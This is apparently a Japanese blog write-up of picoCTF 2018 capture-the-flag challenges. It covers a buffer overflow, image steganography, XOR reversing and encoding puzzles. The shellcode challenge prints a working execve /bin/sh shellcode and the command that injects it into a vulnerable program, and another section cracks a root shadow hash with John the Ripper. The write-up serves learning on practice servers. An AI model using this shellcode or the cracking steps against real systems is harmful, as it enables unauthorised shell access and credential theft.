aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,a_reAllY_s3cuRe_p4s$word_d98e8d

Incorrect Password!

なんかover flowしたっぽいぞ!

$ nc 2018shell.picoctf.com 31045
What is your name?
test
Hello test,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_d98e8d
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_d1667872}

ちゃんと解けるようになるには、アドレスとか調べてやったほうが良さそうなので、あとで復習する。

[Forensics] now you don't (200pt)

We heard that there is something hidden in this picture. Can you find it?

pngファイルが落ちてきた。

$ file nowYouDont.png 
nowYouDont.png: PNG image data, 857 x 703, 8-bit/color RGBA, non-interlaced

f:id:kusuwada:20190304034945p:plain

のっぺりした写真の場合、histgramを取ると外れ値だったりなにか法則が見える可能性がある。
それかな?と当たりをつけ、histgramを取得するプログラムを組む。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from PIL import Image
from pprint import pprint

filename = 'nowYouDont.png'

img = Image.open(filename)
width, height = img.size

histgram = {}
for i in range(256):
    histgram[i] = 0
for h in range(height):
    for w in range(width):
        histgram[img.getpixel((w,h))[0]] += 1
pprint(histgram)

実行結果

$ python histgram.py 
{0: 0,
 1: 0,
 2: 0,
~~中略~~
 142: 0,
 143: 0,
 144: 0,
 145: 595164,
 146: 7307,
 147: 0,
 148: 0,
 149: 0,
~~中略~~
 253: 0,
 254: 0,
 255: 0}

ということで、R,G,B カラーパレットの中の先頭一つ(多分R)の値だけhistgramを取ったが、殆どは145に集中していて一部146にもいる。
この146の部分を人間の目にもわかるように強調してやると、何かしら絵が浮き出てくるかも!二値しかない時点で怪しい。可能性は高そう。
ということで、上記のプログラムに少し手を入れて、2値化の効果がよく分かるような絵を出力させます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from PIL import Image
from pprint import pprint

filename = 'nowYouDont.png'

img = Image.open(filename)
width, height = img.size

img2 = Image.new('RGB', (width, height))

histgram = {}
for i in range(256):
    histgram[i] = 0
for h in range(height):
    for w in range(width):
        histgram[img.getpixel((w,h))[0]] += 1
        if img.getpixel((w,h))[0] == 146:
            img2.putpixel((w,h),(255,255,255))
pprint(histgram)
img2.show()

img2にバッチリflagが出てきました!

f:id:kusuwada:20190304035005p:plain

[Reversing] quackme (200pt)

Can you deal with the Duck Web? Get us the flag from this program. You can also find the program in /problems/quackme_2_45804bbb593f90c3b4cefabe60c1c4e2.

落としてきた main という名前のファイル、バイナリっぽかったので中身を調査。

$ file main 
main: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c0dcb45467941fe620fc135fdf1ba72ecfbc4723, not stripped

実行ファイルですね。
まずは shell server 上で実行してみます。

$ ./main                          
You have now entered the Duck Web, and you're in for a honkin' good time.                                       
Can you figure out my trick?                                                                                    
test                                                                                                            
That's all folks.

今までのようにソースが提供されていないので、バイナリから解読するしかない。ヒントを見てみても

Objdump or something similar is probably a good place to start.

ということで objdump とかしてみたら?ということらしい。

また、Hopper つかいます。 今回はとりあえず読んでみよう、くらいなので、このツールでもなんとか。

まずはmain関数から追ってみます。mainのなかで、do_magicという関数を呼び出しています。更に、このdo_magicの中で、入力値の読み込みと、 "You are winner!"という文字列の出力を行っているようです。
もう少し詳しく見ていきます。すごく横長ですが、Hopperで見られる情報で、do_magic 関数の中の You are winner (080486f8) 近辺です。該当箇所のHopperのUIも参考の為載せておきます。割と見やすいです。

f:id:kusuwada:20190304035050p:plain

 loc_80486bd:
080486bd         mov        eax, dword [ebp+var_18]                             ; CODE XREF=do_magic+207
080486c0         add        eax, sekrutBuffer
080486c5         movzx      ecx, byte [eax]
080486c8         mov        edx, dword [ebp+var_18]
080486cb         mov        eax, dword [ebp+var_14]
080486ce         add        eax, edx
080486d0         movzx      eax, byte [eax]
080486d3         xor        eax, ecx
080486d5         mov        byte [ebp+var_1D], al
080486d8         mov        edx, dword [greetingMessage]                        ; greetingMessage
080486de         mov        eax, dword [ebp+var_18]
080486e1         add        eax, edx
080486e3         movzx      eax, byte [eax]
080486e6         cmp        al, byte [ebp+var_1D]
080486e9         jne        loc_80486ef

080486eb         add        dword [ebp+var_1C], 0x1

             loc_80486ef:
080486ef         cmp        dword [ebp+var_1C], 0x19                            ; CODE XREF=do_magic+167
080486f3         jne        loc_8048707

080486f5         sub        esp, 0xc
080486f8         push       aYouAreWinner                                       ; argument "__s" for method j_puts, "You are winner!"
080486fd         call       j_puts                                              ; puts
08048702         add        esp, 0x10
08048705         jmp        loc_8048713

             loc_8048707:
08048707         add        dword [ebp+var_18], 0x1                             ; CODE XREF=do_magic+177

             loc_804870b:
0804870b         mov        eax, dword [ebp+var_18]                             ; CODE XREF=do_magic+121
0804870e         cmp        eax, dword [ebp+var_10]
08048711         jl         loc_80486bd

             loc_8048713:
08048713         leave                                                          ; CODE XREF=do_magic+195
08048714         ret
                        ; endp

この中でで有力な情報としては、何かのXORを取っているらしい(080486d3)。そしてループしているらしい(08048711)。ということ。

XORを取っているのは、xor eax, ecx 。ecx には sekrutBuffer の値が入っていて、eax には input が入っている様子。これを、一文字ずつ XOR 取っていき、 greetingMessage の文字と比較している。
greetingMessageYou have now entered the Duck Web, and you're in for a honkin' good time....(続く)
sekrutBuffer は下記の通り。

             sekrutBuffer:
08048858         db  0x29 ; ')'                                                 ; DATA XREF=do_magic+126
08048859         db  0x06 ; '.'
0804885a         db  0x16 ; '.'
0804885b         db  0x4f ; 'O'
0804885c         db  0x2b ; '+'
0804885d         db  0x35 ; '5'
0804885e         db  0x30 ; '0'
0804885f         db  0x1e ; '.'
08048860         db  0x51 ; 'Q'
08048861         db  0x1b ; '.'
08048862         db  0x5b ; '['
08048863         db  0x14 ; '.'
08048864         db  0x4b ; 'K'
08048865         db  0x08 ; '.'
08048866         db  0x5d ; ']'
08048867         db  0x2b ; '+'
08048868         db  0x56 ; 'V'
08048869         db  0x47 ; 'G'
0804886a         db  0x57 ; 'W'
0804886b         db  0x50 ; 'P'
0804886c         db  0x16 ; '.'
0804886d         db  0x4d ; 'M'
0804886e         db  0x51 ; 'Q'
0804886f         db  0x51 ; 'Q'
08048870         db  0x5d ; ']'
08048871         db  0x00 ; '.'

さらに、ループ処理に注目。

~~hogehoge~~
080486e9         jne        loc_80486ef

080486eb         add        dword [ebp+var_1C], 0x1

             loc_80486ef:
080486ef         cmp        dword [ebp+var_1C], 0x19                            ; CODE XREF=do_magic+167
080486f3         jne        loc_8048707

この部分で、080486e9 より前の比較(hogehoge)で条件に合わなければ [ebp+var_1C] に 1 を足し、hogehogeの条件を満たせば、 [ebp+var_1C] と 0x19(すなわち25) を比較して、一致すればのぞみの You are winner を表示てくれる。ということは、[ebp+var_1C] はカウンタの役割を果たしており、XORの比較が25まで進めばOKのよう。25は sekrutBuffer の文字数とも合う。

sekrutBuffer XOR input == greetingMessage

を満たすinputを求めれば良い。A XOR B = C の場合、 A XOR C = B なので、 sekrutBuffer と greetingMessage の XOR を取ってやる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

greetingMsg = "You have now entered the Duck Web, and you're in for a honkin' good time."
sekrutBuffer = bytes.fromhex('2906164f2b35301e511b5b144b085d2b56475750164d51515d').decode('utf-8')
inputMsg = ''

for i in range(len(sekrutBuffer)):
    inputMsg += chr(ord(sekrutBuffer[i]) ^ ord(greetingMsg[i]))

print(inputMsg)

実行結果

$ python solve.py 
picoCTF{qu4ckm3_35246994}

念の為 main の実行時に flag を入力してみると、ちゃんと You are winner! が表示されました。

$ ./main      
You have now entered the Duck Web, and you're in for a honkin' good time.                   
Can you figure out my trick?                                                                
picoCTF{qu4ckm3_35246994}                                                                   
You are winner!                                                                             
That's all folks. 

[Binary] shellcode (200pt)

This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed on the shell server. Source.

与えられたソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();
     
  return 0;
}

与えられた実行ファイル(program)

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=fdba7cd36e043609da623c330a501f920470b49a, not stripped

ソースを見てみます。

$ ./vuln                        
Enter a string!
test
test
Thanks! Executing now...
Segmentation fault (core dumped)

test と入れただけで Secmentation fault してしまった。

ReversingとBinaryは、迷わずHintを見ます。

Maybe try writing some shellcode? You also might be able to find some good shellcode online.

???
わからないのでググります。

Wikipedia: シェルコード

シェルコード(英: Shellcode)とは、コンピュータセキュリティにおいて、ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。シェルコードは機械語で書かれることが多いが、機械語でなくとも同様のタスクを実行できるコード断片はシェルコードと呼ばれる。

ほうほう!しかも

(*(void(*)()) shellcode)()

こういう書き方は、shellcodeの呼び出しに使われるらしい。
ということは、入力時に「隣の flag.txt を出力するようなshellcode」を入力できれば良さそう!

ただの linux command だと、cat flag.txt とかなんだけど。ここはヒントの通り、フィルを出力させるようなshellcodeがweb上に落ちているっぽいので探してみます。

shellcode catgoogle検索かけようとしたら、候補に shellcode cat flag.txt が出てくるという…。shellcode cat file -picoCTF とかだとネタバレもなくて良さげ。

こんなページが。
http://shell-storm.org/shellcode/:tilte

Although these kinds of shellcode presented on this page are rarely used for real exploitations, this page lists some of them for study cases and proposes an API to search specific ones. Thanks all for your contributions of this database but we stopped to accept shellcodes. To learn modern exploitation, checkout how to the Return Oriented Programming works.

ということで、悪用禁止の学習用のシェルコードデータベース検索サイトのようです。

今回はLinx向けの /bin/sh 関連の shellcode が探したかったので、APIは使わず、トップページから /bin/sh で引っかかった Linx/x86 系のcodeサンプルを覗いてみました。

たくさんあってよくわからないので、もう少し調べてみます。

Linux x86用のシェルコードを書いてみる - ももいろテクノロジー

ももいろテクノロジーさんにも shellcode 系の記事がいくつか上がっていましたが、

一般に、シェルを起動するにはexecve(2)システムコールを使う

だそうです。
これを胸に、再度探したところ、Linux/x86 - execve /bin/sh - 21 bytes by ipv

この辺のshellcodeがシンプルそうだったので使ってみます。

shellcodeを使用する際は、こんな感じの呼び出し方。

$ (echo -en "{shellcode}"; cat) | ./vuln
  • ※ cat は shell をオープンしておくため
  • ※ echoのoption -e は 改行を表示
$ (echo -e "\x6a\x0b\x58\x99\x52
\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; cat) | ./vuln                                
Enter a string!                                                                                                 
j                                                                                                               
 XRh//shh/bin1̀                                                                                                 
Thanks! Executing now...                                                                                        
cat flag.txt
picoCTF{shellc0de_w00h00_9ee0edd0}

おお!無事フラグが出力されました。また新しい世界を見た。

[General] what base is this? (200pt)

To be successful on your mission, you must be able read data represented in different ways, such as hexadecimal or binary. Can you get the flag from this program to prove you are ready? Connect with nc 2018shell.picoctf.com 1225.

指定のホストに接続。問題文を読む限り、いろんな形式 (hexやbinary) の文字列が降ってくるのかな。

$ nc 2018shell.picoctf.com 1225
We are going to start at the very beginning and make sure you understand how data is stored.
robot
Please give me the 01110010 01101111 01100010 01101111 01110100 as a word.
To make things interesting, you have 30 seconds.
Input:

まずは2進数をasciiコードに。30秒では無理だったが、この辺のサイトで検索しながら解読。

10進16進2進ASCIIコード表 - 【はてな】ガットポンポコ

robot、が答え。あれ、なんか問題文に書いてあったぞ。
ちなみに、再度接続すると問題が変わっているので、プログラムしたほうが良さそう。

これをクリアすると、次の問題は

Please give me the 6170706c65 as a word.
Input:

どうやら hex -> ascii っぽい。
こちらもプログラムに組んで、クリアすると、次の問題は

Please give me the  141 160 160 154 145 as a word.
Input:

これは10進数か8進数 -> ascii っぽい。8進数と仮定すると apple の単語になったのでこのまま続行。
これもクリアするとFlagが降ってくる。

こんなプログラム書きました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import binascii

def hex2ascii(hex_str):
    return bytes.fromhex(hex_str).decode('utf-8')

def bin2ascii(bin_str):
    n = int(bin_str, 2)
    return n.to_bytes((n.bit_length() + 7) // 8, 'big').decode()

def oct2ascii(oct_str):
    return chr(int(oct_str, 8))

def int2ascii(int_str):
    return chr(int(int_str))

while True:
    str_format = input('please input format. {bin|hex|oct}\n')
    str_list = input('please input char list.\n')
    str_arr = str_list.split()
    output = ""
    
    for s in str_arr:
        if str_format == 'bin':
            output += bin2ascii(s)
        elif str_format == 'hex':
            output += hex2ascii(s)
        elif str_format == 'oct':
            output += oct2ascii(s)
        else:
            print('unknown format.')
            break
    print(output)

サーバーとのやり取り

$ nc 2018shell.picoctf.com 1225
We are going to start at the very beginning and make sure you understand how data is stored.
wichita
Please give me the 01110111 01101001 01100011 01101000 01101001 01110100 01100001 as a word.
To make things interesting, you have 30 seconds.
Input:
wichita                                                       
Please give me the 70686f6e65 as a word.
Input:
phone
Please give me the  164 157 170 151 143 as a word.
Input:
toxic
You got it! You're super quick!
Flag: picoCTF{delusions_about_finding_values_451a9a74}

プログラム実行結果

$ python solve.py 
please input format. {bin|hex|oct}
bin
please input char list.
01110111 01101001 01100011 01101000 01101001 01110100 01100001
wichita
please input format. {bin|hex|oct}
hex
please input char list.
70686f6e65
phone
please input format. {bin|hex|oct}
oct
please input char list.
164 157 170 151 143
toxic
please input format. {bin|hex|oct}

まぁ全部自動で動くようにすればよかったんですけどね。ちょっと面倒で。。。

[General] you can't see me (200pt)

'...reading transmission... Y.O.U. .C.A.N.'.T. .S.E.E. .M.E. ...transmission ended...' Maybe something lies in /problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f.

直訳すると、"...通信読み込み... あなたには私が見えない ...通信終了..." 指定pathに多分何かある。
ということで、指定されたpathに picoCTF の shell server で行ってみた。

$ cd /problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f
$ $ ls -alF                
total 60                                                                                                        
drwxr-xr-x   2 root       root        4096 Nov 15 02:40 ./
-rw-rw-r--   1 hacksports hacksports    57 Nov 15 02:40 .                                                       
drwxr-x--x 566 root       root       53248 Nov 15 04:28 ../

ほーん?なんか二番目のやつ、怪しいですね。からのディレクトリなら、普通はrootの ./../ しかないはず。 . というファイル名のファイルが存在してるっぽい。
普通に lesscat で見ようとしても、directoryだと怒られてしまいます。

$ less .
. is a directory

もしやこのファイル名、 . ではなく ..  なのでは?ということで、ドットのあとにスペースが付いている可能性を考慮し、

$ less .*
. is a directory                                                                                                
.\ \   (press RETURN)
picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_22f627d9}                                                        
.\ \  (file 1 of 2) (END) - Next: ..

おー、でた。正解は .\ \、すなわち ドットスペーススペース、というファイル名だった様子。

picoCTF2018 150pt問題までのwrite-up

とっても遅ればせながら、2018年度の picoCTF をやってみているので write-up。
リアルタイムで開催されている事自体は知っていたものの、学生さんしか参加できないと思ってスルーしていました。社会人でも参加できるようですので、気になった方いらっしゃいましたら是非!

TOPはこんな感じでかっこいい!

f:id:kusuwada:20190219081810p:plain

flag形式は picoCTF{***}
webブラウザさえあれば、shellサーバーがwebブラウザから操作できるようになってるのが学生向けなのかとても良い!環境用意できない人もいますもんね、きっと。
私が参加した時点で、Scoreボードに存在するチームは 23,819。すごいですねー!

この記事では、150pt問題までを。150ptまでを全部解いた時点で 5,501 位。まだまだだ。assembly-0 で躓いて暫く塩漬けになっていたものの、それ以外の問題はサクサク解けて楽しい。
IT/Linuxの知識の基本を問う問題も多く、Linux入門・情報系入門としてもよさそう。
学生の頃であっていればなぁ、とか、せめてCTF始める時にこれを最初にやりたかったなぁとか思ったりもするけれど、言ってもしょうがないので、CTF始めたい人や情報系が気になる学生さん、就職・転職先でLinux知識が必要になった社会人etc...に紹介していくことにする!

150ptまで解くと、5000位台になった。

f:id:kusuwada:20190219081903p:plain

ここまでくらいの問題なら、全問大量にwrite-upが落ちていそうですが、自分のメモも兼ねて書いておきます。

[Forensics] Warmup 1 (50pt)

Can you unzip this file for me and retreive the flag?

zipファイルをDLし、これをunzipするだけ。 flag.jpgの画像が出てきて、ここにflagの書かれた画像が入っている。

f:id:kusuwada:20190219081315j:plain

[Forensics] Warmup 2 (50pt)

Hmm for some reason I can't open this PNG? Any ideas?

まって、普通にMacで開けてしまった。まぁいいか。深追いはしない。

f:id:kusuwada:20190219081414p:plain

[General] Warmup 1 (50pt)

If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?

ソラで出てこなかった。ググった。反省。
flag: picoCTF{A}

[General] Warmup 2 (50pt)

Can you convert the number 27 (base 10) to binary (base 2)?

10進→2進の変換
flag: picoCTF{11011}

[General] Warmup 3 (50pt)

What is 0x3D (base 16) in decimal (base 10).

16進→10進の変換
flag: picoCTF{61}

[Resources] (50pt)

We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag! https://picoctf.com/resources (link)

リンク先のページに旗が落ちてる。
flag: picoCTF{xiexie_ni_lai_zheli}

[Reversing] Warmup 1 (50pt)

Throughout your journey you will have to run many programs. Can you navigate to /problems/reversing-warmup-1_1_b416a2d0694c871d8728d8268d84ac5c on the shell server and run this program to retreive the flag?

picoCTFではオンラインshellが用意されているので、オンラインshellのページに行きます。shell serverにログインして、上記指定のpathにアクセスし、そこにある run ファイルを実行します。

flag: picoCTF{welc0m3_t0_r3VeRs1nG}

[Reversing] Warmup 2 (50pt)

Can you decode the following string dGg0dF93NHNfczFtcEwz from base64 format to ASCII?

base64 -> ascii オンラインサイトでも変換できる。 flag: picoCTF{th4t_w4s_s1mpL3}

[Crypto] Warmup 1 (75pt)

Crpyto can often be done by hand, here's a message you got from a friend, llkjmlmpadkkc with the key of thisisalilkey. Can you use this table to solve it?.

it のリンクから、下記tableをDLすることができます。

    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 
   +----------------------------------------------------
A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

メッセージ(crypted)が llkjmlmpadkkc, 鍵が thisisalilkey とのことなので、1文字目の平文は T の列で L が現れる行を探すと、 S の行が L になっているので、1文字目の元のメッセージ(平文)は S
手で解ける問題もあるぜ、とのことだったので、頑張って手で解いた。
picoCTF{SECRETMESSAGE}

[Crypto] Warmup 2 (75pt)

Cryptography doesn't have to be complicated, have you ever heard of something called rot13? cvpbPGS{guvf_vf_pelcgb!}

rot13の問題。下記スクリプトを実行。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string

data = "cvpbPGS{guvf_vf_pelcgb!}"
output = ""

alphabet = list(string.ascii_lowercase)

def rot13(c):
    return alphabet[(alphabet.index(c) + 13) % 26]

def rot13_robust(c):
    if c.isdigit():
        return c
    if c.isupper():
        return rot13(c.lower()).upper()
    if c.islower():
        return rot13(c)
    else:
        return c

for c in data:
    output += rot13_robust(c)

print(output)

flag: picoCTF{this_is_crypto!}

[General] grep 1 (75pt)

Can you find the flag in file? This would be really obnoxious to look through by hand, see if you can find a faster way. You can also find the file in /problems/grep-1_2_ee2b29d2f2b29c65db957609a3543418 on the shell server.

fileをDLすると16kbのファイルが。

$ file file
file: ASCII text, with very long lines

file コマンドで確認すると very long linesらしい。問題タイトル通りgrepで探すことに。

$ grep "picoCTF{" file 
picoCTF{grep_and_you_will_find_42783683}

[General] netcat 1 (75pt)

Using netcat (nc) will be a necessity throughout your adventure. Can you connect to 2018shell.picoctf.com at port 22847 to get the flag?

netcatコマンドの使い方わかる?問題。

$ nc 2018shell.picoctf.com 22847
That wasn't so hard was it?
picoCTF{NEtcat_iS_a_NEcESSiTy_69222dcc}

[Crypto] HEEEEEEERE'S Johnny! (100pt)

Okay, so we found some important looking files on a linux computer. Maybe they can be used to get a password to the process. Connect with nc 2018shell.picoctf.com 42165. Files can be found here: passwd shadow.

linkから passwd ファイルと shadow ファイルが落とせる。

passwd

root:x:0:0:root:/root:/bin/bash

shadow

root:$6$HRMJoyGA$26FIgg6CU0bGUOfqFB0Qo9AE2LRZxG8N3H.3BK8t49wGlYbkFbxVFtGOZqVIq3qQ6k0oetDbn2aVzdhuVQ6US.:17770:0:99999:7:::

shadowファイルについて、ザクッとした知識しかなかったので調べてみると、とても丁寧な解説がありました。

ひつまぶし食べたい: /etc/shadowについて勉強してみた

ということで

  • ログインユーザー名: root
  • パスワードのハッシュ化方式: SHA-512
  • Salt: HRMJoyGA
  • ハッシュ化済みのパスワード: 26FIgg6CU0bGUOfqFB0Qo9AE2LRZxG8N3H.3BK8t49wGlYbkFbxVFtGOZqVIq3qQ6k0oetDbn2aVzdhuVQ6US.

となります。

shadowファイルの解析には John the Ripper が有名なので、こちらをinstallして実行してみました。

macに直接 Jhon the Ripper をソースダウンロード→コンパイルの手順で入れましたが、いろいろ躓いた。
基本的にはこちらを参照しつつ、openssl系のエラーが出た時はこちらも参照しつつ。

以下、Johnが入ったあとの解析。

$ ~/tools/john_the_ripper/run/unshadow passwd shadow > passfile
$ ~/tools/john_the_ripper/run/john passfile
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Warning: hash encoding string length 98, type id $6
appears to be unsupported on this system; will not load such hashes.
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 64/64 OpenSSL])
Press 'q' or Ctrl-C to abort, almost any other key for status
hellokitty       (root)
1g 0:00:00:15 DONE 2/3 (2019-02-09 00:52) 0.06578g/s 192.4p/s 192.4c/s 192.4C/s hellokitty
Use the "--show" option to display all of the cracked passwords reliably
Session completed

このまま picoCTF{hellokity} で投げるとエラー。じゃなくて、指定されたサーバーに接続し、今回パスワードが取れた root ユーザーで上記のpasswordを使ってログインする。

$ nc 2018shell.picoctf.com 42165
Username: root
Password: hellokitty
picoCTF{J0hn_1$_R1pp3d_5f9a67aa}

個人的には今までコンパイルエラーなどなどで入れられていなかった John the Rippermacにinstallできて感激!

[General] strings (100pt)

Can you find the flag in this file without actually running it? You can also find the file in /problems/strings_2_b7404a3aee308619cb2ba79677989960 on the shell server.

いきなりgrepしようとすると

$ grep "picoCTF{" strings 
Binary file strings matches

と怒られるので、一旦 strings コマンドで文字列のみ抽出してから grep

$ strings strings | grep "picoCTF{" ascii.txt 
picoCTF{sTrIngS_sAVeS_Time_3f712a28}

[General] pipe (110pt)

During your adventure, you will likely encounter a situation where you need to process data that you receive over the network rather than through a file. Can you find a way to save the output from this program and search for the flag? Connect with 2018shell.picoctf.com 48696.

あれ、pipeコマンド前の問題で使ってしもうた。
指定されたホストにncで接続すると、だーーーーーっとデータが流れてきます。こんな感じ。

Unfortunately this is also not a flag
This is not a flag
This is not a flag
This is not a flag
I'm sorry you're going to have to look at another line
I'm sorry you're going to have to look at another line
This is not a flag
I'm sorry you're going to have to look at another line
This is not a flag
I'm sorry you're going to have to look at another line
I'm sorry you're going to have to look at another line
This is not a flag
Unfortunately this is also not a flag
Unfortunately this is also not a flag

全部「この行はフラグじゃないよ、ごめん」的な。多分低確率でflagが流れてきてるんだろうと予想して、nc コマンドで取ってきたデータに対してgrepをかける。

$ nc 2018shell.picoctf.com 48696 | grep "picoCTF{"
picoCTF{almost_like_mario_f617d1d7}

このメッセージの意味が気になるところ・・・?

[Web] Inspect Me (125pt)

Inpect this code! http://2018shell.picoctf.com:28831 (link)

リンク先に飛んでソースを表示してみると、コメントで下記の行が。

<!-- I learned HTML! Here's part 1/3 of the flag: picoCTF{ur_4_real_1nspe -->

うーん、1/3ということなので、あと2個ありそうなんだけどソース上にはないなぁ。

These are the web skills I've been practicing: * HTML * CSS * JS (JavaScript)

ということなので、あと2つはCSSとJSっぽいぞと。よくソースを見てみると、cssとjsのリンク先が mycss.cssmyjs.js になっていて怪しい。お手製のやつだ。
htmlソース上で既にリンクになっているので、それぞれリンクから飛ぶと、下記メッセージにのココリのフラグ部分が。

/* I learned CSS! Here's part 2/3 of the flag: ct0r_g4dget_b4887011} */
/* I learned JavaScript! Here's part 3/3 of the flag:  */

つなげるとflagに。
flag: picoCTF{ur_4_real_1nspect0r_g4dget_b4887011}

3番目いらんかったやん…。

[General] grep 2 (125pt)

This one is a little bit harder. Can you find the flag in /problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a/files on the shell server? Remember, grep is your friend.

web shellで指定されたフォルダにアクセス。下記コマンドで発見。

$ grep "picoCTF{" ./files*/* 
./files4/file20:picoCTF{grep_r_and_you_will_find_4baaece4}

[General] Aca-Shell-A (150pt)

It's never a bad idea to brush up on those linux skills or even learn some new ones before you set off on this adventure! Connect with nc 2018shell.picoctf.com 27833.

問題文の通り、ncコマンドで接続してみた。

$ nc 2018shell.picoctf.com 27833
Sweet! We have gotten access into the system but we aren't root.
It's some sort of restricted shell! I can't see what you are typing
but I can see your output. I'll be here to help you along.
If you need help, type "echo 'Help Me!'" and I'll see what I can do
There is not much time left!

こんな文言が。とりあえず助けを求めてみる。

~/$ echo 'Help Me!'
Help Me!
You got this! Have you looked for any  directories?

とりあえずディレクトリ構成でも確認してみる。
findgrepfileless も効かない。本当に制限されたshell環境である。 ls コマンドで状況確認。

$ ls
blackmail
executables
passwords
photos
secret

secret 以外は何もなし。secret ディレクトリはこんな感じ。

$ cd secret 
Now we are cookin'! Take a look around there and tell me what you find!
~/secret$ ls
intel_1
intel_2
intel_3
intel_4
intel_5
profile_ahqueith5aekongieP4ahzugi
profile_ahShaighaxahMooshuP1johgo
profile_aik4hah9ilie9foru0Phoaph0
profile_AipieG5Ua9aewei5ieSoh7aph
profile_bah9Ech9oa4xaicohphahfaiG
profile_ie7sheiP7su2At2ahw6iRikoe
profile_of0Nee4laith8odaeLachoonu
profile_poh9eij4Choophaweiwev6eev
profile_poo3ipohGohThi9Cohverai7e
profile_Xei2uu5suwangohceedaifohs
Sabatoge them! Get rid of all their intel files!

cat commandが効いたので、一つづつ覗いてみるもよくわからない文字列ばかり。

get rid of らしいので、intel_*ファイルを一つ消してみる。

$ rm intel_1
Nice! Once they are all gone, I think I can drop you a file of an exploit!
Just type "echo 'Drop it in!' " and we can give it a whirl!

言われたとおりに打ってみます。

$ echo 'Drop it in!'
Drop it in!
I placed a file in the executables folder as it looks like the only place we can execute from!
Run the script I wrote to have a little more impact on the system!

executeファイルが生成されたっぽいので、行って実行してみます。

$ cd ../executalbes
~/executables$ ls
dontLookHere
~/executables$ ./dontLookHere
 fc38 f138 894b 06df 6f59 b0c5 b85f bdf4 b0b6 e333 051d 5029 c0b8 8af2 e89a 6ca2 9428 f690 1184 61a9 1804 b678 9c1a cee3 352b
